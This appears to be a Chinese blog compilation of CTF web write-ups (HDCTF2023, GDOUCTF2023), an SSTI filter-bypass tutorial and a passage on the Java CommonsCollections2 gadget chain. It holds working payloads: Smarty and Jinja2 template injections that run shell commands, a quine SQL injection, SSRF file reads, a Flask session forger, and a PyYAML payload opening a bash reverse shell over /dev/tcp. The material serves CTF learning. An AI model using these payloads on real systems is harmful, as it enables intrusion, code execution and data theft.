(![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[!+[] + !+[] + [+!+[]]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + (![] + [])[+[]]) + [!+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + [!+[] + !+[]] + [!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[(![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[!+[] + !+[] + !+[]]]((+((+(+!+[] + [+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + [!+[] + !+[]] + [+[]]) + [])[+!+[]] + [+[] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+!+[]]]) + [])[!+[] + !+[]] + [+!+[]])
function gameOver() {
alert(seeeeeeeecret)
//isOver=true;

/*for(i in ais){
ais[i].drawAi();
}*/
J.showWait("您已阵亡", "error");
//J.id("showInfo").slideDown();
}

这个seeeeeeeecret是jsfuck编码,放进控制台console里面回车就能出flag

或者直接到处乱撞也能出flag

SearchMaster

提示模板都一样我很抱歉OVO BUT YOU CAN POST ME A data,盲猜模板注入,先用burp POST一个data=1试试

发现了同样的输出。这道题是PHP后端,试试之前做过的tornado的payload

1
data={{handler.setting}}

发现了一堆报错,报错里面有段信息很显眼/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php

这里就能判断出用的是Smarty模板,那就是Smarty模板注入

一般输入{$smarty.version}就能看到Smarty的版本号,该题版本是4.1.0

直接data={system('cat /f*')}得到flag

LoginMaster(复现)

进入是一个登录框,尝试万能密码,提示只有admin才能登录,并且注册功能是假的,则只有password字段可控

尝试注入password字段,发现有过滤并返回hacker

没多的信息了,尝试找找源码泄露,一眼robots.txt

果然存在waf泄露

1
2
3
4
5
6
7
8
9
10
function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

老师傅可能会发现是第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)的考点

这里使用正则表达式做了过滤,if 判断了从数据库中查到的密码是否和用户输入的是一样的,只有完全一致才会得到FLAG

开始想利用union创建虚拟表伪造密码,结果不太行

看了wp才知道这是Quine注入

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中

首先时间盲注发现这是一个空表

1
union/**/select/**/if((select/**/ascii(mid((select/**/group_concat(table_name)from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_schema/**/like/**/database()),0,1))/**/like/**/1),(select/**/benchmark(4999999,md5('test'))),1)#

再看这段waf代码要求的是执行$sql的结果与$password相同,那么除了正常逻辑的密码相同会产生相等,如果我们的输入与最后的结果相等,那么一样可以绕过验证。这种技术就是Quine

1
password=1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

这里直接给payload,下篇文章细说

YamiYami(复现)

首先给了三个路由,/read一眼SSRF,直接file协议读文件试试发现没问题

1
/read?url=file:///etc/passwd

然后还有/upload是任意文件上传,但没有上传文件的路径

/pwd路由提示/app,盲猜是当前web目录

非预期解

直接读进程里的环境变量/proc/<pid>/environ

1
?url=file:///proc/1/environ

就得到flag了

预期解

没其他信息就想办法通过伪协议读取源码咯,file:///app/app.py

但存在过滤

1
re.findall('app.*', url, re.IGNORECASE)

这里采用双重url编码关键字绕过

app经过url编码结果为%25%36%31%25%37%30%25%37%30

1
?url=file:///%2561%2570%2570/%2561%2570%2570.py

源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

可以发现在/boogipop路由存在PyYaml反序列化漏洞,要进入这里就得使session.get("passport")=="Welcome To HDCTF2023"为真,因此需要伪造session

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

可以发现随机种子来自uuid.getnode(),而uuid 模块使用 getnode() 来获取当前系统的 MAC 地址值,如果一个系统的网卡多于一块,那么就有多个 MAC 地址,因此返回的值可能是其中的任意一个。所以只要找到目标机MAC地址,就能通过已知的随机种子得到可知的伪随机数从而伪造session

/sys/class/net/eth0/address,这个就是eth0网卡的位置,读取他进行伪造SECRET_KEY

1
file:///sys/class/net/eth0/address

然后用脚本进行session伪造即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# !/usr/bin/env python3
"""
python flask_session_en_de.py decode -s “” -c “”
python flask_session_en_de.py encode -s “” -t “”
//其中session值填在 -c 后面,SECRET_KEY填在 -s 后面
//解密得到的东西填在 -t 后面,SECRET_KEY填在 -s 后面
"""

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e

if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

进入if判断后,PyYaml反序列化RCE即可

1
2
3
4
5
6
7
8
9
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

另外俩Java题现在还不会

EasyJava考点是FastJson+Rome 二次反序列化打入SpringBoot高版本内存马

BabyJXvX考点是Apache SCXML2 RCE

这里附上出题人的wp链接

HDCTF2023 Web出题记录 | Boogipop

Python SSTI利用jinja过滤器进行Bypass

利用|attr()来Bypass

attr()是 jinja2 的原生函数,它是一个过滤器,只查找属性,获取并返回对象的属性的值。

过滤器与变量用管道符号( | )分割,并且也 可以用圆括号传递可选参数。

如:foo|attr("bar")foo["bar"]是等价的

如果过滤了 . [ ],就可以利用这个过滤器绕过

绕过姿势

1
{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}

等价于

1
{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen("ls").read()}}

如果还过滤了关键字,例如过滤了class,可以利用其进行字符拼接

如:{{''.__class__}}{{''|attr('__cla''ss__')}}是等价的

利用更多过滤器构造字符

在 Flask jinja 中,内置有很多过滤器可以使用。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器, 多个过滤器可以链式调用,前一个过滤器的输出会被作为 后一个过滤器的输入。所有内置过滤器参见官方文档

这个姿势核心就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串

下面给出一些常用过滤器利用姿势

过滤器 ()|select|string
1
{% set org = ({ }|select()|string()) %}{{org}}

这样得到的结果是<generator object select_or_reject at 0x十六进制地址值>

这里就出现了很多字符,那么就可以利用[]来提取出字符,例如

1
{% set org = ({ }|select()|string())[24] %}{{org}}

这里就获取到了下划线,以此类推我们还能获取到尖括号、空格、一些字母、数字

类似的还有如下姿势获取

1
2
3
4
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
{% set point = self|float|string|min %}{{point}} # 通过float过滤器获取点 .

它们能获取很多字符,特别注意的是{% set org = self|string|urlencode %}{{org}}可以获取到百分号%

获取数字还有一些姿势

1
2
{% set num = (self|int) %}{{num}}    # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字

有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算

1
2
3
4
5
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{%set two = (one%2bone) %}
{%set three = (zero-one-one-one)|abs %}
{% set five = (two*two*two)-one-one-one %}{{five}}

特别注意加法运算的加号(+),语义冲突不能直接使用,需要url编码为%2b使用,或者使用abs过滤器进行取绝对值

过滤器 dict()|join

字符拼接

1
{% set org=dict(po=a,p=a)|join%}{{org}}   # pop

获取数字

1
2
{% set num = (dict(e=a)|join|count) %}{{num}}   # 1
{% set num = (dict(ee=a)|join|count) %}{{num}} # 2
拼接%c构造任意字符
1
2
3
{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc=bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接

这里构造出了%c,这样就能通过ascill码构造出任意字符,如

1
2
3
4
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set xhx = bfhc%(95) %}{{xhx}}

这样就能构造出下划线了

例题 [GDOUCTF 2023]<ez_ze>


参考链接:

以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 | Marcus_Holloway

SSTI进阶 | chenlvtang

GDOUCTF2023 WriteUp

前言

GDOUCTF 为广东海洋大学Hor1zon战队面向本校的第一次新生赛性质的校赛,比赛旨在选拔出有能力且志同道合的师傅加入战队,同时对海大校内学生普及信息安全知识,增强信息安全意识,提高网络空间安全创新能力与实践技能。

web方向AK,团队排名59,总的来说Web方向出的较简单,这里记录一手个人的题解记录,,NSSCTF平台可以复现

Web

hate eat snake

根据规则要玩 60 秒,但过几秒蛇的速度就激情起来了,根本把控不住

js代码经过了混淆,不能直接获得flag

1
2
3
if (this['getScore']() > -0x1e9 * -0xf + 0x5 * 0x6d + -0x2e * 0xaa)
return alert(_0x324fcb(0x2d9, 0x2c3, 0x2db, 0x2f3) + 'k3r_h0pe_t' + _0xe4a674(0x5a1, 0x595, 0x59e, 0x57c) + 'irlfriend}'),
![];

那么这里要求60秒,查看分数的计算逻辑

1
2
3
4
5
6
7
8
getScore: function() {

///////////////////////
var score = Math.round((this.timeCounter + new Date().getTime() - this.startTime) / 1000);
/////////////////////////

return score;
}

很容易只是单纯判断开始时间和当前时间的差值,那么这里就可以直接让程序开始运行后暂停60秒

这里使用浏览器的开发者工具中的调试功能完成

然后就能得到flag啦

看师傅们的wp还有很多办法,有长按空格键暂停的,还有下载 js 代码本地修改判断分数语句运行得flag的,还有修改Snake的原型链的方法得flag的,控制台运行Snake.prototype.getScore = () => 114514

受不了一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?> 别来沾边

首先看第一圈和第二圈 if 判断,因为都是围绕gdouctf两个参数

1
2
3
4
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){

这里md5弱比较,直接一手数组绕过,POST传入gdou[]=1&ctf[]=2

然后看第三四圈 if 判断

1
2
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){

设置Cookie头,Cookie: cookie=j0k3r

接着进入第五六圈 if 判断

1
2
3
4
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){

这里用PHP弱类型特性进行绕过,GET传参?aaa=114514&bbb=114514a

终于到了最后一坨

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;

这里if要求POST或者GET传入参数flag,特别注意POST和GET进入后,后面foreach的逻辑不同,相差一个$

使用GET传入则对传入的键值对进行遍历和变量覆盖,既然不能直接让flag=flag自己传给自己,那就找个中间人,给他之后再拿回来

所以GET传入hacker=flag&flag=hacker

最终payload

1
2
3
GET: ?aaa=114514&bbb=114514a&hacker=flag&flag=hacker
Header: Cookie: cookie=j0k3r
POST: gdou[]=1&ctf[]=2

EZ WEB

首先有一个点击按钮,点点看,提示Where's the flag? i swear it was around here somewhere,盲猜哪有源码泄露什么的

先查看源码,发现注释

1
<!-- /src -->

进到这个路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()

这就很简单了,直接PUT请求方法往/super-secret-route-nobody-will-guess路由发包就可以了

这里可以用burpsuite随便抓个当前页面的包,然后改包发送即可

ez_ze

使用wappalyzer插件快速知道网站用的python的flask框架

盲猜SSTI,输入{{7*7}}测测是不是,回显Invalid input detected甚至这里被过滤了,可以用 Jinja2 的 {%...%} 语句装载一个循环控制语句来绕过,输入{%7*7%},这里报错了获取到了部分源码。其实是忘了不能这么写,

应该{%print(......)%} 的形式来代替 {{}}

1
2
3
4
5
6
7
File "/app/app.py", line 21, in get_flag
if re.search(pattern, name):
return render_template('index.html', error='Invalid input detected.')Open an interactive python shell in this frame
else:
# 使用用户输入进行模板渲染
template = "Hello, $ {} $!".format(name)
return render_template_string(template)

确信是SSTI了,那么开始测测过滤了神魔吧

这里直接给最后getshell拿到的后端代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding: utf-8 -*- 
from flask import Flask, request, render_template, render_template_string
import re
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/get_flag', methods=['POST'])
def get_flag():
name = request.form['name']
# 进行过滤规则的检查
pattern = r"(\{\{|\}\}|popen|os|subprocess|application|getitem|flag\.txt|\.|_|\[|\]|\"|class|subclasses|mro|\\)"
if re.search(pattern, name):
return render_template('index.html', error='Invalid input detected.')
else: # 使用用户输入进行模板渲染
template = "Hello, $ {} $!".format(name)
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)

经过测试也可以发现过滤是相当狠的

所以这里利用jinja过滤器进行bypass(原理见这篇文章,这里直接给出payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set get=(xhx,xhx,'metiteg'|reverse,xhx,xhx)|join%}
{%set s='so'|reverse%}
{%set cla=(xhx,xhx,'ssalc'|reverse,xhx,xhx)|join%}
{%set bas=(xhx,xhx,'esab'|reverse,xhx,xhx)|join%}
{%set bas=(xhx,xhx,'sessalcbus'|reverse,xhx,xhx)|join%}
{%set po='nepop'|reverse%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set read=dict(read=a)|join%}
{%print(lipsum|attr(globals)|attr(get)(s)|attr(po)('cat /f*')|attr(read)())%}

看到大佬们有github的fenjing工具一把梭的 @rbeopad

1
{%print(((lipsum|attr((‘%c’*11)%(95,95,103,108,111,98,97,108,115,95,95))|attr((‘%c’*11)%(95,95,103,101,116,105,116,101,109,95,95))((‘%c’*12)%(95,95,98,117,105,108,116,105,110,115,95,95))|attr((‘%c’*11)%(95,95,103,101,116,105,116,101,109,95,95))((‘%c’*4)%(101,118,97,108))))((‘%c’*42)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41)))%}

还有巧妙利用没被过滤的|attr()拼接字符串的 @Cnily03

1
{%set u='%c'%95*2%}{%print(''|attr(u+'cla''ss'+u)|attr(u+'ba''se'+u)|attr(u+'su''bcla''sses'+u)()|attr(213)|attr(u+'i''n''i''t'+u)|attr(u+'glo''bal''s'+u)|attr('ge''t')(u+'bui''lti''ns'+u)|attr('ge''t')(u+'imp''ort'+u)('o''s')|attr('po''pen')('ca''t /f''lag')|attr('re''ad')())%}

Java安全之CommonsCollections2链

前言

前面学习的cc链都是基于commons-collections:commons-collections的3.1-3.2.1这几个版本的,但后面有了新的分支org.apache.commons:commons-collections4的4.0版本。可以发现groupIdartifactId都发生了改变,也就是形成了两个分支。这是因为commons-collections4不是用来替换commons-collections的一个新版本,而是修复旧的commons-collections的⼀些架构和API设计上的问题的一个拓展。两者的命名空间并不冲突,都可以放在同一个项目中。

前面文章提到 cc1 利用链在 JDK8u71 版本以后的高版本下是无法使用的,而cc2链可以在有 commons-collections-4.0 的 jdk8u71 以后的高版本下使用,但commons-collections3.1-3.2.1版本不能去使用

“老”cc链

基于commons-collections:commons-collections的3.1-3.2.1这几个版本的cc链到了commons-collections-4.0还能使用吗?

试试就知道了,首先在pom.xml文件导入依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

这里拿强大的cc6链做实验,直接将包名一改,把import org.apache.commons.collections.*改成import org.apache.commons.collections4.*

然后就会出现报错哩

这是因为在CommonsCollections-4.0版本中,删除了LazyMapdecorate方法

但它还有一个构造方法

1
2
3
4
5
6
7
8
protected LazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

它和3.2.1版本的构造方法略微不同,但都是可以让传进的Transformer赋值给this.factory

decorate方法实际上就是创建了一个LazyMap对象

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

4.0版本中LazyMap类也有一个同义不同名的 lazyMap 方法

1
2
3
public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
return new LazyMap(map, factory);
}

因此将LazyMap.decorate()改成LazyMap.lazyMap()即可

运行即可弹出计算器

cc1和cc3链也是如此,他们都可以在CommonsCollections-4.0中使用

TransformingComparator

TransformingComparator是一个比较器comparator,实现了java.util.Comparator接⼝

TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

ChainedTransformer对象作为参数传入时就会调用ChainedTransformer#transform反射链执行命令

这就是cc2链的尾巴,之所以commons-collections3.1-3.2.1版本无法使用是因为TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化

那么这里还需要一个可以连起来的头,而这个头就是java.util.PriorityQueue

PriorityQueue利用链

优先队列PriorityQueueQueue接口的实现类,基于二叉堆实现,可以对其中元素进行排序,和先进先出(FIFO)的队列的区别在于,优先队列每次出队的元素都是优先级最高的元素,Java通过堆使得每次出队的元素总是队列里面最小的

二叉堆是一种特殊的堆,是完全二叉树或者近似于完全二叉树,二叉堆分为最大堆和最小堆

最大堆:父结点的键值总是大于或等于任何一个子节点的键值;最小堆:父结点的键值总是小于或等于任何一个子节点的键值

